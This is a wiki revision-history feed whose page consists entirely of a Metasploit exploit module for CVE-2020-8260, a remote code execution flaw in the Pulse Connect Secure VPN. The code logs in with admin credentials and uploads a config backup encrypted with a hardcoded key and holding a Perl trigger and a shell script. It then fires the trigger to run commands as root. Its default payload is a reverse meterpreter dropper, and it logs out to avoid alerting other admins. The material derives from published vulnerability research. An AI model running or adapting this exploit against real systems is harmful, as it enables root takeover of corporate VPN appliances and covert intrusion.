<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8260_Pulse_Secure_VPN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-8260 Pulse Secure VPN 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-8260_Pulse_Secure_VPN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8260_Pulse_Secure_VPN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:26:53Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-8260_Pulse_Secure_VPN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1715&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-8260_Pulse_Secure_VPN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1715&amp;oldid=prev"/>
		<updated>2021-04-16T09:16:40Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModul...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
 &lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
 &lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
 &lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
 &lt;br /&gt;
  ENCRYPTION_KEY = &amp;quot;\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5&amp;quot;.b&lt;br /&gt;
 &lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'Pulse Secure VPN gzip RCE',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability&lt;br /&gt;
          which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.&lt;br /&gt;
          Admin credentials are required for successful exploitation.&lt;br /&gt;
          Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.&lt;br /&gt;
        },&lt;br /&gt;
        'Author' =&amp;gt; [&lt;br /&gt;
          'h00die', # msf module&lt;br /&gt;
          'Spencer McIntyre', # msf module&lt;br /&gt;
          'Richard Warren &amp;lt;richard.warren@nccgroup.com&amp;gt;', # original PoC, discovery&lt;br /&gt;
          'David Cash &amp;lt;david.cash@nccgroup.com&amp;gt;', # original PoC, discovery&lt;br /&gt;
        ],&lt;br /&gt;
        'References' =&amp;gt; [&lt;br /&gt;
          ['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],&lt;br /&gt;
          ['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],&lt;br /&gt;
          ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],&lt;br /&gt;
          ['CVE', '2020-8260']&lt;br /&gt;
        ],&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2020-10-26',&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Platform' =&amp;gt; ['unix', 'linux'],&lt;br /&gt;
        'Arch' =&amp;gt; [ARCH_CMD, ARCH_X86, ARCH_X64],&lt;br /&gt;
        'Privileged' =&amp;gt; true,&lt;br /&gt;
        'Targets' =&amp;gt; [&lt;br /&gt;
          [&lt;br /&gt;
            'Unix In-Memory',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'unix',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'Type' =&amp;gt; :unix_memory,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'cmd/unix/generic' }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
          [&lt;br /&gt;
            'Linux Dropper',&lt;br /&gt;
            {&lt;br /&gt;
              'Platform' =&amp;gt; 'linux',&lt;br /&gt;
              'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
              'Type' =&amp;gt; :linux_dropper,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'linux/x64/meterpreter_reverse_tcp' }&lt;br /&gt;
            }&lt;br /&gt;
          ]&lt;br /&gt;
        ],&lt;br /&gt;
        'Payload' =&amp;gt; { 'Compat' =&amp;gt; { 'ConnectionType' =&amp;gt; '-bind' } },&lt;br /&gt;
        'DefaultOptions' =&amp;gt; { 'RPORT' =&amp;gt; 443, 'SSL' =&amp;gt; true, 'CMDSTAGER::FLAVOR' =&amp;gt; 'curl' },&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 1,&lt;br /&gt;
        'Notes' =&amp;gt; {&lt;br /&gt;
          'Stability' =&amp;gt; [CRASH_SAFE],&lt;br /&gt;
          'Reliability' =&amp;gt; [REPEATABLE_SESSION],&lt;br /&gt;
          'SideEffects' =&amp;gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],&lt;br /&gt;
          'RelatedModules' =&amp;gt; ['auxiliary/gather/pulse_secure_file_disclosure']&lt;br /&gt;
        }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
 &lt;br /&gt;
    register_options([&lt;br /&gt;
      OptString.new('TARGETURI', [true, 'The URI of the application', '/']),&lt;br /&gt;
      OptString.new('USERNAME', [true, 'The username to login with', 'admin']),&lt;br /&gt;
      OptString.new('PASSWORD', [true, 'The password to login with', '123456'])&lt;br /&gt;
    ])&lt;br /&gt;
 &lt;br /&gt;
    register_advanced_options([&lt;br /&gt;
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),&lt;br /&gt;
    ])&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def check(exploiting: false)&lt;br /&gt;
    login&lt;br /&gt;
    res = send_request_cgi({ 'uri' =&amp;gt; normalize_uri('dana-admin', 'misc', 'admin.cgi') })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&amp;amp;.code == 200&lt;br /&gt;
    version = res.body.scan(%r{id=&amp;quot;span_stats_counter_total_users_count&amp;quot;[^&amp;gt;]+&amp;gt;([^&amp;lt;(]+)(?:\(build (\d+)\))?&amp;lt;/span&amp;gt;})&amp;amp;.last&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version&lt;br /&gt;
    version, build = version&lt;br /&gt;
 &lt;br /&gt;
    return CheckCode::Unknown unless version.include?('R')&lt;br /&gt;
 &lt;br /&gt;
    version, revision = version.split('R', 2)&lt;br /&gt;
    print_status(&amp;quot;Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found&amp;quot;)&lt;br /&gt;
    return CheckCode::Appears if version.to_f &amp;lt;= 9.1 &amp;amp;&amp;amp; revision.to_f &amp;lt; 9&lt;br /&gt;
 &lt;br /&gt;
    CheckCode::Detected&lt;br /&gt;
  rescue Msf::Exploit::Failed&lt;br /&gt;
    CheckCode::Unknown&lt;br /&gt;
  ensure&lt;br /&gt;
    logout unless exploiting&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def exploit&lt;br /&gt;
    case (checkcode = check(exploiting: true))&lt;br /&gt;
    when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears&lt;br /&gt;
      print_good(checkcode.message)&lt;br /&gt;
    when Exploit::CheckCode::Detected&lt;br /&gt;
      print_warning(checkcode.message)&lt;br /&gt;
    else&lt;br /&gt;
      fail_with(Module::Failure::Unknown, checkcode.message.to_s)&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    case target['Type']&lt;br /&gt;
    when :unix_memory&lt;br /&gt;
      execute_command(payload.encoded)&lt;br /&gt;
    when :linux_dropper&lt;br /&gt;
      execute_cmdstager(&lt;br /&gt;
        linemax: 262144, # 256KiB&lt;br /&gt;
        delay: datastore['CMDSTAGER::DELAY']&lt;br /&gt;
      )&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    logout&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def execute_command(command, _opts = {})&lt;br /&gt;
    trigger = Rex::Text.rand_text_alpha_upper(8)&lt;br /&gt;
    print_status(&amp;quot;Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    config = build_malicious_config(command, trigger)&lt;br /&gt;
    res = upload_config(config)&lt;br /&gt;
 &lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&amp;amp;.code == 200&lt;br /&gt;
 &lt;br /&gt;
    print_status('Triggering RCE')&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),&lt;br /&gt;
      'headers' =&amp;gt; { trigger =&amp;gt; trigger }&lt;br /&gt;
    })&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def res_get_xsauth(res)&lt;br /&gt;
    res.body.scan(%r{name=&amp;quot;xsauth&amp;quot; value=&amp;quot;([^&amp;quot;]+)&amp;quot;/&amp;gt;})&amp;amp;.last&amp;amp;.first&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def upload_config(config)&lt;br /&gt;
    print_status('Requesting backup config page')&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),&lt;br /&gt;
      'headers' =&amp;gt; { 'Referer' =&amp;gt; &amp;quot;#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system&amp;quot; },&lt;br /&gt;
      'vars_get' =&amp;gt; { 'type' =&amp;gt; 'system' }&lt;br /&gt;
    })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&amp;amp;.code == 200&lt;br /&gt;
    xsauth = res_get_xsauth(res)&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?&lt;br /&gt;
 &lt;br /&gt;
    post_data = Rex::MIME::Message.new&lt;br /&gt;
    post_data.add_part(xsauth, nil, nil, 'form-data; name=&amp;quot;xsauth&amp;quot;')&lt;br /&gt;
    post_data.add_part('Import', nil, nil, 'form-data; name=&amp;quot;op&amp;quot;')&lt;br /&gt;
    post_data.add_part('system', nil, nil, 'form-data; name=&amp;quot;type&amp;quot;')&lt;br /&gt;
    post_data.add_part('8', nil, nil, 'form-data; name=&amp;quot;optWhat&amp;quot;')&lt;br /&gt;
    post_data.add_part('', nil, nil, 'form-data; name=&amp;quot;txtPassword1&amp;quot;')&lt;br /&gt;
    post_data.add_part('Import Config', nil, nil, 'form-data; name=&amp;quot;btnUpload&amp;quot;')&lt;br /&gt;
    post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name=&amp;quot;uploaded_file&amp;quot;; filename=&amp;quot;system.cfg&amp;quot;')&lt;br /&gt;
 &lt;br /&gt;
    print_status('Uploading encrypted config backup')&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'headers' =&amp;gt; { 'Referer' =&amp;gt; &amp;quot;#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system&amp;quot; },&lt;br /&gt;
      'data' =&amp;gt; post_data.to_s,&lt;br /&gt;
      'ctype' =&amp;gt; &amp;quot;multipart/form-data; boundary=#{post_data.bound}&amp;quot;&lt;br /&gt;
    })&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def login&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'vars_post' =&amp;gt; {&lt;br /&gt;
        'tz_offset' =&amp;gt; '-300',&lt;br /&gt;
        'username' =&amp;gt; datastore['USERNAME'],&lt;br /&gt;
        'password' =&amp;gt; datastore['PASSWORD'],&lt;br /&gt;
        'realm' =&amp;gt; 'Admin Users',&lt;br /&gt;
        'btnSubmit' =&amp;gt; 'Sign In'&lt;br /&gt;
      },&lt;br /&gt;
      'keep_cookies' =&amp;gt; true&lt;br /&gt;
    })&lt;br /&gt;
 &lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&amp;amp;.code == 302&lt;br /&gt;
    location = res.headers['Location']&lt;br /&gt;
    fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')&lt;br /&gt;
 &lt;br /&gt;
    return unless location.include?('admin%2Dconfirm')&lt;br /&gt;
 &lt;br /&gt;
    # if the account we login with is already logged in, or another admin is logged in, a warning is displayed.  Click through it.&lt;br /&gt;
    print_status('Other admin sessions detected, continuing')&lt;br /&gt;
    res = send_request_cgi({ 'uri' =&amp;gt; location, 'keep_cookies' =&amp;gt; true })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&amp;amp;.code == 200&lt;br /&gt;
    fds = res.body.scan(/name=&amp;quot;FormDataStr&amp;quot; value=&amp;quot;([^&amp;quot;]+)&amp;quot;&amp;gt;/).last&lt;br /&gt;
    xsauth = res_get_xsauth(res)&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds &amp;amp;&amp;amp; xsauth&lt;br /&gt;
 &lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'vars_post' =&amp;gt; {&lt;br /&gt;
        'btnContinue' =&amp;gt; 'Continue the session',&lt;br /&gt;
        'FormDataStr' =&amp;gt; fds.first,&lt;br /&gt;
        'xsauth' =&amp;gt; xsauth&lt;br /&gt;
      },&lt;br /&gt;
      'keep_cookies' =&amp;gt; true&lt;br /&gt;
    })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Login failed') unless res&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def logout&lt;br /&gt;
    print_status('Logging out to prevent warnings to other admins')&lt;br /&gt;
    res = send_request_cgi({ 'uri' =&amp;gt; normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&amp;amp;.code == 200&lt;br /&gt;
 &lt;br /&gt;
    logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?&lt;br /&gt;
 &lt;br /&gt;
    res = send_request_cgi({ 'uri' =&amp;gt; logout_uri })&lt;br /&gt;
    fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&amp;amp;.code == 302&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def build_malicious_config(cmd, trigger)&lt;br /&gt;
    payload_script = &amp;quot;#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh&amp;quot;&lt;br /&gt;
    perl = &amp;lt;&amp;lt;~PERL&lt;br /&gt;
      if (length $ENV{HTTP_#{trigger}}){&lt;br /&gt;
        chmod 0775, &amp;quot;/data/var/runtime/tmp/tt/#{payload_script}&amp;quot;;&lt;br /&gt;
        system(&amp;quot;env /data/var/runtime/tmp/tt/#{payload_script}&amp;quot;);&lt;br /&gt;
      }&lt;br /&gt;
    PERL&lt;br /&gt;
    tarfile = StringIO.new&lt;br /&gt;
    Gem::Package::TarWriter.new(tarfile) do |tar|&lt;br /&gt;
      tar.mkdir('tmp', 509)&lt;br /&gt;
      tar.mkdir('tmp/tt', 509)&lt;br /&gt;
      tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|&lt;br /&gt;
        tio.write perl&lt;br /&gt;
      end&lt;br /&gt;
      tar.add_file(&amp;quot;tmp/tt/#{payload_script}&amp;quot;, 511) do |tio|&lt;br /&gt;
        tio.write &amp;quot;PATH=/home/bin:$PATH\n&amp;quot;&lt;br /&gt;
        tio.write &amp;quot;rm -- \&amp;quot;$0\&amp;quot;\n&amp;quot;&lt;br /&gt;
        tio.write cmd&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
 &lt;br /&gt;
    gzfile = StringIO.new&lt;br /&gt;
    gz = Zlib::GzipWriter.new(gzfile)&lt;br /&gt;
    gz.write(tarfile.string)&lt;br /&gt;
    gz.close&lt;br /&gt;
 &lt;br /&gt;
    encrypt_config(gzfile.string)&lt;br /&gt;
  end&lt;br /&gt;
 &lt;br /&gt;
  def encrypt_config(config_blob)&lt;br /&gt;
    cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt&lt;br /&gt;
    iv = cipher.iv = cipher.random_iv&lt;br /&gt;
    cipher.key = ENCRYPTION_KEY&lt;br /&gt;
 &lt;br /&gt;
    md5 = OpenSSL::Digest.new('MD5', &amp;quot;#{iv}\x00#{[config_blob.length].pack('V')}&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
    ciphertext = cipher.update(config_blob)&lt;br /&gt;
    ciphertext &amp;lt;&amp;lt; cipher.final&lt;br /&gt;
    md5 &amp;lt;&amp;lt; ciphertext&lt;br /&gt;
 &lt;br /&gt;
    cipher.reset&lt;br /&gt;
    &amp;quot;\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}&amp;quot;&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>